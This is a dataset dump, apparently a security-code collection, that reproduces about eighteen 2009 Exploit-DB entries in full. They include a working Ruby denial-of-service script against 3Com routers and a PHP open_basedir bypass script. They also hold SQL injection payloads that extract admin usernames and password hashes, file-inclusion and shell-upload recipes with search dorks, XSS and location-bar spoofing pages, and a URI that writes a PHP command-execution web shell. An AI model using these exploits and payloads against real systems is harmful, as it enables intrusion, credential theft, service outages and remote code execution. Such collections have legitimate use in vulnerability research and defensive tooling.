QLWD/code_shield huggingface dataset:
标题: 8Pixel.net 2009. - Database Disclosure EDB-ID: 10573 CVE: 2009-4825 类型: WEBAPPS 平台: ASP 发布日期: 2009-12-20 漏洞利用脚本: ==============================================================================  

                      _      _       _          _      _   _  

                     / \    | |     | |        / \    | | | |  

                    / _ \   | |     | |       / _ \   | |_| |  

                   / ___ \  | |___  | |___   / ___ \  |  _  |  

                  /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|  

   

   

==============================================================================  

        [&#65533;] ~ Note : Forever RevengeHack.Com 

==============================================================================  

        [&#65533;] 8pixel.net 2009.  Database Disclosure Vulnerability  

==============================================================================  

   

    [&#65533;] Script:             [  8pixel.net 2009.  ]  

    [&#65533;] Language:           [ ASP ]  

    [&#65533;] Download:           [ http://www.8pixel.net/downloads.aspx ]  

    [&#65533;] Founder:            [ LionTurk -  Bylionturk@kafam1milyon.com (Mail G&#65533;nderenin aq... :D ]  

    [&#65533;] My Home:            [ RevengeHack.com , Ar-ge.Org]  

   

###########################################################################  

   

===[ Exploit And Dork  ]===  

   

    [&#65533;] http://[target].com/[path]/App_Data/sb.mdb



   [&#65533;] ( c ) 8pixel.net 2009. All Rights Reserved or 8pixel.net Blog v4 
   





Author:  LionTurk <-  

Thanks You: eXceptioN,CodeInside 
                                 I Love Fenerbah&#65533;e
                                 I Love T&#65533;rkiye
                                 I Love Mustafa K. ATAT&#65533;RK
                                 


########################################################################### URL: https://www.exploit-db.com/exploits/10573
标题: Angelo-emlak 1.0 - Database Disclosure EDB-ID: 10576 CVE: 2009-4820 类型: WEBAPPS 平台: ASP 发布日期: 2009-12-21 漏洞利用脚本: ==============================================================================  

                      _      _       _          _      _   _  

                     / \    | |     | |        / \    | | | |  

                    / _ \   | |     | |       / _ \   | |_| |  

                   / ___ \  | |___  | |___   / ___ \  |  _  |  

                  /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|  

   

   

==============================================================================  

        [»] ~ Note : Forever RevengeHack.Com 

==============================================================================  

        [»] Angelo-emlak v1.0  Database Disclosure Vulnerability  

==============================================================================  

   

    [»] Script:             [  angelo-emlak v1.0   ]  

    [»] Language:           [ ASP ]  

    [»] Founder:            [ LionTurk -  Bylionturk@kafam1milyon.com (Mail Gonderenin aq... :D ]  

    [»] My Home:            [ RevengeHack.com , Ar-ge.Org]  

   

###########################################################################  

   

===[ Exploit And Dork  ]===  

   

    [»] http://[target].com/[path]/veribaze/angelo.mdb

 


   [»] ( c ) DesignAndCodeBy:Angelo
   





Author:  LionTurk <-  

Thanks You: eXceptioN,CodeInside,CorDoN,Hack3ra,Rex aL0ne,By_HKC

                  Ve By_Magic :D 

- Kaderimiz olan aþka deðil de aþkýyla kaderimizi deðiþtirene içelim!

                                 


########################################################################### URL: https://www.exploit-db.com/exploits/10576
标题: Ignition 1.2 - Multiple Local File Inclusions EDB-ID: 10569 CVE: 2009-4426 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-20 漏洞利用脚本: Ignition 1.2 Multiple Local File Inclusion Vulnerabilities
disclosed by cOndemned
download: http://launchpadlibrarian.net/27567060/ignition_1.2.zip
note: magic_quotes_gpc should be turned off in order to exploit this vulnerability
greetz: all friends, SecurityReason team :)


comment.php

 1. <?php 
 2. session_start();
 3. require ('settings.php');
 4. include ('posts/'.$_GET['blog'].'.txt');   # [1]
 5. ?>


view.php

 1. <?php
 2. session_start();
 3. require ('settings.php');
 4. $blog = $_GET['blog'];
 5. if (file_exists('posts/'.$_GET['blog'].'.txt')) {
 6. include ('posts/'.$_GET['blog'].'.txt');   # [2]
 7. }else{


proof of concept:

 [1] http://[attacked_box]/[ignition1.2]/comment.php?blog=../../../../[local_file]%00
 [2] http://[attacked_box]/[ignition1.2]/view.php?blog=../../../../../[local_file]%00 URL: https://www.exploit-db.com/exploits/10569
标题: Ultimate Uploader 1.3 - Arbitrary File Upload EDB-ID: 10578 CVE: 2009-4817 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-21 漏洞利用脚本: ==========================================================================

~ Script Name : Ultimate Uploader 1.3
~ Language : php
~ Vendor : http://www.element-it.com
~ Author : Master Mind
~ Home : www.shdowskill.com , www.vbspiders.com

============================================================

Dork : Sorry , I can't do everything for you :(

How To Use : 
http://server/script path/

upload your shell  : Shell.php (Or any extension you want)

Shell Path
http://server/script path/upload/Shell.php

:)

#############################################################################
#  Master Mind sends Greets To :                                                                                                  #
# The Electronic Bomb , Twi[L]ight , R3D EYE , Doom[PS] , Mr.BoOoO , AND ALL MEMBERS :) #
#                                                                                                                                                     #
############################################################################ URL: https://www.exploit-db.com/exploits/10578
标题: 4Images 1.7.1 - SQL Injection EDB-ID: 10572 CVE: 2006-5236 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-20 漏洞利用脚本: # Exploit Title: 4images 1.7.1 Remote SQL Injection Vulnerability
# Date: 20-12-2009
# Author: Master Mind
# Version: 1.7.1
# CVE : [N/A]

=============================================================

~ Script Name : 4images 1.7.1
~ Language : php
~ Author : Master Mind
~ Home : www.shdowskill.com , www.vbspiders.com
=============================================================

Dork : Powered By: 4images 1.7.1

./Exploit:

first search for the admin username :
ex : http://[Target.com]/path/member.php?action=showprofile&user_id=1

now we have the admin username

now we will find the password :]
ex : http://[Target.com]/path/search.php?search_user=x%2527%20union%20select%20user_password%20from%204images_users%20where%2$

admin = admin username

Crack the MD5 Hash and Enjoy :)
admin panel path : http://[Target.com]/path/admin

-----------------------------------------------------------------------------------------------------------------------------$

Greets : The Electronic Bomb , Twi[L]ighT , R3D EYE, Doom[PS] , Mr.BoOoO , AND  ALL MEMBERS. URL: https://www.exploit-db.com/exploits/10572
标题: Simplicity oF Upload 1.3.2 - Arbitrary File Upload EDB-ID: 10568 CVE: 2009-4818 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-20 漏洞利用脚本: # Exploit Title: Simplicity oF Upload (1.3.2) Remote File Upload Vulnerability
# Date: 20-12-2009
# Author: Master Mind
# Software Link: http://www.phpsimplicity.com/scripts.php?id=3
# Version: 1.3.2
# CVE : [N/A]
# Tested on: Windows 2003 Server

==========================================================================

~ Script Name : Simplicity oF Upload (1.3.2)
~ Language : php
~ Download Page : http://www.phpsimplicity.com/scripts.php?id=3
~ Author : Master Mind
~ Home : www.shdowskill.com , www.vbspiders.com
============================================================

Dork : Powered By: © Simplicity oF Upload

Exploit :
http://{target}/[script path/upload.php

upload you shell [Shell.php.gif]

Enjoy :)

------------------------------------------------------------------------------------------------------------------------------------------

Greets : The Electronic Bomb , Twi[L]ighT , R3D EYE, Doom[PS] , AND  ALL MEMBERS. URL: https://www.exploit-db.com/exploits/10568
标题: Lizard Cart - Multiple SQL Injections EDB-ID: 10560 CVE: 2006-0087 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-19 漏洞利用脚本: ################################################################################
## Exploit Title: Lizard Cart Multiple SQL Injection Exploit                  ##
## Date: 20-12-2009                                                           ##
## Author: cr4wl3r                                                            ##
## Software Link: http://sourceforge.net/projects/lizardcart/                 ##
## Version: N/A                                                               ##
## Tested on: GNU/LINUX                                                       ##
################################################################################


~ Code [detail.php]

$dbResult = mysql_query("select * from products where id='$id'");

~ PoC

[lizardcart_path]/detail.php?id=[SQL]



~ Code [pages.php]

$dbResult = mysql_query("select * from pages where id='$id'");

~ PoC

[lizardcart_path]/pages.php?id=[SQL] URL: https://www.exploit-db.com/exploits/10560
标题: 3Com OfficeConnect Routers - Remote Denial of Service EDB-ID: 10553 CVE: 2004-1585 类型: DOS 平台: HARDWARE 发布日期: 2009-12-19 漏洞利用脚本: ###############
# Model -> Tested on 3Com OfficeConnect ADSL Wireless 11g Firewall Router 3CRWDR100A-72 and 3CRWDR100Y-72
# Software Version -> Tested on 2.06T13 (Apr 2007, last version for these routers)
# Attacker -> Tested from GNU/Linux (Sidux and Ubuntu)
#
# Exploit languaje -> Ruby
# Type -> Remote Denial of Service Exploit by HTTP
#
# Additional info:
# - I tested it in other similar 3Com router and the system do not crash, but the Internet connection yes.
# - The bug can be exploited with Tamper Data (Firefox Addon) too, LOL.
#
###############
# Discovered and written by Alberto Ortega
# http://pentbox.net/
###############

require "socket"

host = ARGV[0]
buffer = "A"
send = ""

puts ""
if !host
 puts " 3Com OfficeConnect ADSL Wireless 11g Firewall Router"
 puts " Remote DoS Exploit by HTTP"
 puts " ------ Usage ---------------------------------------"
 puts " ruby 3com_dosexploit.rb host"
 puts " Ex: ruby 3com_dosexploit.rb 192.168.1.1"
else
 begin
  socket = TCPSocket.new(host, 80)
  puts "- Exploiting ..."
  # 8.times is enough to DoS
  9.times do
   buffer = "#{buffer}#{buffer}"
  end
  # Here are the HTTP packet, Authorization value causes the DoS
  send = "GET / HTTP/1.1\r\nAuthorization:#{buffer}\r\n"
  socket.write(send)
  puts "- Successfully! :)"
 rescue
  puts "Connection problem"
 end
end
puts "" URL: https://www.exploit-db.com/exploits/10553
标题: CFAGCMS - SQL Injection EDB-ID: 10561 CVE: 2008-5781 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-19 漏洞利用脚本: ################################################################################
## Exploit Title: CFAGCMS SQL Injection Exploit                               ##
## Date: 20-12-2009                                                           ##
## Author: cr4wl3r                                                            ##
## Software Link: http://sourceforge.net/project/showfiles.php?group_id=197936##
## Version: N/A                                                               ##
## Tested on: GNU/LINUX                                                       ##
################################################################################


~ Code [right.php]

$title  = $_GET['title'];
$query  = "SELECT * FROM pages WHERE title = '".$title."'";
$result = mysql_query($query);

~ PoC

[cfagcms_path]/right.php?title=[SQL] URL: https://www.exploit-db.com/exploits/10561
标题: PHP 5.2.12/5.3.1 - 'symlink()' open_basedir Bypass EDB-ID: 10557 CVE: 2007-4652 2006-5178 类型: LOCAL 平台: PHP 发布日期: 2009-12-19 漏洞利用脚本: <?php
/*
PHP 5.2.12/5.3.1 symlink() open_basedir bypass 
by Maksymilian Arciemowicz http://securityreason.com/
cxib [ a.T] securityreason [ d0t] com

CHUJWAMWMUZG
*/

$fakedir="cx";
$fakedep=16;

$num=0; // offset of symlink.$num

if(!empty($_GET['file'])) $file=$_GET['file'];
else if(!empty($_POST['file'])) $file=$_POST['file'];
else $file="";

echo '<PRE><img src="http://securityreason.com/gfx/logo.gif?cx5211.php"><P>This is exploit from <a
href="http://securityreason.com/" title="Security Audit PHP">Security Audit Lab - SecurityReason</a> labs.
Author : Maksymilian Arciemowicz
<p>Script for legal use only.
<p>PHP 5.2.12 5.3.1 symlink open_basedir bypass
<p>More: <a href="http://securityreason.com/">SecurityReason</a>
<p><form name="form"
 action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF"]).'" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hym" value="Create Symlink"></form>';

if(empty($file))
 exit;

if(!is_writable("."))
 die("not writable directory");

$level=0;

for($as=0;$as<$fakedep;$as++){
 if(!file_exists($fakedir))
  mkdir($fakedir);
 chdir($fakedir);
}

while(1<$as--) chdir("..");

$hardstyle = explode("/", $file);

for($a=0;$a<count($hardstyle);$a++){
 if(!empty($hardstyle[$a])){
  if(!file_exists($hardstyle[$a])) 
   mkdir($hardstyle[$a]);
  chdir($hardstyle[$a]);
  $as++;
 }
}
$as++;
while($as--)
 chdir("..");

@rmdir("fakesymlink");
@unlink("fakesymlink");

@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");

// this loop will skip allready created symlinks.
while(1)
 if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
 else $num++;

@unlink("fakesymlink");
mkdir("fakesymlink");

die('<FONT COLOR="RED">check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>');

?> URL: https://www.exploit-db.com/exploits/10557
标题: Rumba XM - Cross-Site Scripting EDB-ID: 10534 CVE: 2009-4403 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-17 漏洞利用脚本: ###########################################
#
# Script Name : Rumba XML ( All Version )
#
# Bug Type : XSS vulnerability
#
# Found by : Hadi Kiamarsi
#
# Contact : hadikiamarsi [at] hotmail.com
#
# Download : http://download.softpedia.ro/dl/4bf8d3951ea08865afb7c98b8c0476fa/4b2a1ca9/600056463/webscripts/PHP/xml18eng.zip
#

###########################################

PoC :

http://[target]/[path]/index.php/>"><script>alert('Hadi Kiamarsi')</script>

example :

http://server/index.php/>"><script>alert('Hadi Kiamarsi')</script>

local Example :

http://localhost/index.php/>"><script>alert('Hadi Kiamarsi')</script> URL: https://www.exploit-db.com/exploits/10534
标题: Mozilla Firefox - Location Bar Spoofing EDB-ID: 10544 CVE: 2009-1839 类型: LOCAL 平台: MULTIPLE 发布日期: 2009-12-18 漏洞利用脚本: # Exploit Title: MOZILLA FIREFOX LOCATION BAR SPOOFING VULNERABILITY
# Date: 2009-12-18
# Author: Jordi Chancel
# Software Link: http://www.mozilla.org/security/announce/2009/mfsa2009-69.html
# Version: Mozilla Firefox 3.0.15 & 3.5.5
# Tested on: Windows XP-VISTA-SEVEN & LINUX BACKTRACK
# CVE : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3985
# DESCRIPTION: {
#  Security researcher Jordi Chancel reported an issue similar to one fixed in mfsa2009-44
#  in which a web page can set document.location to a URL that can't be displayed properly and then inject 
#  content into the resulting blank page. An attacker could use this vulnerability to place a legitimate-looking 
#  but invalid URL in the location bar and inject HTML and JavaScript into the body of the 
#  page, resulting in a spoofing attack.  }
# Code :
<html>
<title>FAKE PAGE</title>
<body onload="javascript:window.location = 'https://www.google.com%20';window.stop();void(0);">
<h1>FAKE PAGE</h1>
</body>
</html> URL: https://www.exploit-db.com/exploits/10544
标题: Piwik Open Flash Chart - Remote Code Execution EDB-ID: 10532 CVE: 2011-4275 2009-4140 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-17 漏洞利用脚本: Bugtraq ID:    37314
Class:  Input Validation Error
CVE:  
Remote:  Yes
Local:  No
Published:  Dec 14 2009 12:00AM
Updated:  Dec 17 2009 06:03PM
Credit:  Braeden Thomas
Vulnerable:  Piwik Piwik 0.4.3
Piwik Piwik 0.4.2
Piwik Piwik 0.4.1
Piwik Piwik 0.4
Piwik Piwik 0.2.37
Piwik Piwik 0.2.36
Piwik Piwik 0.2.35
Open Web Analytics Open Web Analytics 1.2.0
Open Flash Chart Open Flash Chart 2.0


Open Flash Chart is prone to a vulnerability that lets remote attackers execute arbitrary code because the application fails to sanitize user-supplied input.

Attackers can exploit this issue to execute arbitrary PHP code within the context of the affected webserver process.

Open Flash Chart 2 Beta 1 and Open Flash Chart 2 are vulnerable; other versions may also be affected. 

The following example URI is available:

http://server/libs/open-flash-chart/php-ofc-library/ofc_upload_image.php?name=shell.php&HTTP_RAW_POST_DATA=<?system($_GET['cmd']);?> URL: https://www.exploit-db.com/exploits/10532
标题: WordPress Plugin Pyrmont 2.x - SQL Injection EDB-ID: 10535 CVE: 2009-4424 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-18 漏洞利用脚本: #############################################################
# WordPress and Pyrmont V2. SQL Injection Vulnerability

# Plugin Home: http://wordpress.org/extend/themes/pyrmont-v2

# Author: Gamoscu

# Site: www.1923turk.biz

#  Site: http://gamoscu.wordpress.com/
  
##############################################################



 
# Exploit: 
http://server/path/results.php?id=-9999+union+select+1,concat_ws(0x3a,user_login,user_pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+wp_users
    
           -9999+union+select+1,concat_ws(0x3a,user_login,user_pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+wp_users
         

# Demo: http://cc.cc.moose.cc/maps/results.php?id=-9999+union+select+1,concat_ws(0x3a,user_login,user_pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+wp_users
 
##############################################################
# Greetz: Manas58 Baybora Delibey Tiamo Psiko
##############################################################


Vatan Lafla Deðil Eylemle Sevilir URL: https://www.exploit-db.com/exploits/10535
标题: VirtueMart - 'Product_ID' SQL Injection EDB-ID: 10533 CVE: 2009-4430 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-17 漏洞利用脚本: Bugtraq ID:    37317
Class:  Input Validation Error
CVE:  
Remote:  Yes
Local:  No
Published:  Dec 14 2009 12:00AM
Updated:  Dec 17 2009 06:03PM
Credit:  SOA Crew a.k.a Neo-GabrieL
Vulnerable:  VirtueMart VirtueMart 1.0

VirtueMart is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

VirtueMart 1.0 is vulnerable; other versions may also be affected. 

The following example URI is available:

http://server/index.php?page=shop.product_details&flypage=shop.flypage&product_id=[SOA injection] URL: https://www.exploit-db.com/exploits/10533
标题: V.H.S. Booking - 'hotel_habitaciones.php?HotelID' SQL Injection EDB-ID: 10528 CVE: 2008-6809 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-17 漏洞利用脚本: [?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: (hotel_habitaciones.php HotelID) Remote SQL Injection Vulnerability
[~] Vendor: www.bookingcentre.eu
[*] Software: Hotels Group
[*] author: ((R3d-D3v!L))
[*] Date: 18.dec.2009
[*] T!ME: 12:00 am
[?] Home: WwW.xP10.ME
[?] contact: N/A
[?]
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????




[*] Err0r C0N50L3:
   http://server/www_en/hotel_habitaciones.php?HotelID=(SQL)

[~] (SQL):
  1+union+select+concat_ws(0x3a,@@version,0x3a,user())--



N073:

! 7h!/\/k u can f!nd m0r3
just let your m1nd breath ;)

! GAZA !N 0uR HEART's blood and M!ND

[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}----------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~] {[(D!R 4ll 0R D!E)]};

[~]-------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/10528
标题: ActiveBuyandSell 6.2 - 'buyersend.asp?catid' Blind SQL Injection EDB-ID: 10526 CVE: 2005-2062 类型: WEBAPPS 平台: ASP 发布日期: 2009-12-17 漏洞利用脚本: [?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: (buyersend.asp catid) Blind SQL Injection Vulnerability
[~] Vendor: :www.activewebsoftwares.com
[*] Software: ActiveBuyandSell v 6.2
[*] author: ((R3d-D3v!L))
[*] Date: 18.dec.2009
[*] T!ME: 12:00 am
[?] Home: WwW.xP10.ME
[?] contact: N/A
[?]
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????



[*] Err0r C0N50L3:

[*] http://server/demoactivebuyandsell/buyersend.asp?catid={offsec}



[*]{offsec}

7Ru3 : buyersend.asp?catid=1 and 1=1


f4L53: buyersend.asp?catid=1 and 1=2


N073:

! 7h!/\/k u can f!nd m0r3
just let your m1nd breath ;)

! GAZA !N 0uR HEART's blood and M!ND
[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}----------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~] {[(D!R 4ll 0R D!E)]};

[~]-------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/10526
标题: dblog - 'dblog.mdb' Remote Database Disclosure EDB-ID: 10514 CVE: 2007-5026 类型: WEBAPPS 平台: WINDOWS 发布日期: 2009-12-17 漏洞利用脚本: ---------------------------------------
dblog (dblog.mdb) Remote Database Disclosure Vulnerability
---------------------------------------

#####################################################
# [+] Author : AnTi SeCuRe #
# [+] Email : AnTi-SeCuRe@HoTMaiL.coM #
# [+] Site : www.vxx9.cc #
# [+] Team : SauDi ViRuS TeaM #
# [+] Script : dblog #
#####################################################




[+] download : http://www.dblog.it/sito/download.asp



vuln. in :

http://localhost/path/mdb-database/dblog.mdb


Thanks to : Allah ..


Greets : RENO , Dr.php , Jetli007 , ! BaD BoY ! and All Vxx9.Cc Members URL: https://www.exploit-db.com/exploits/10514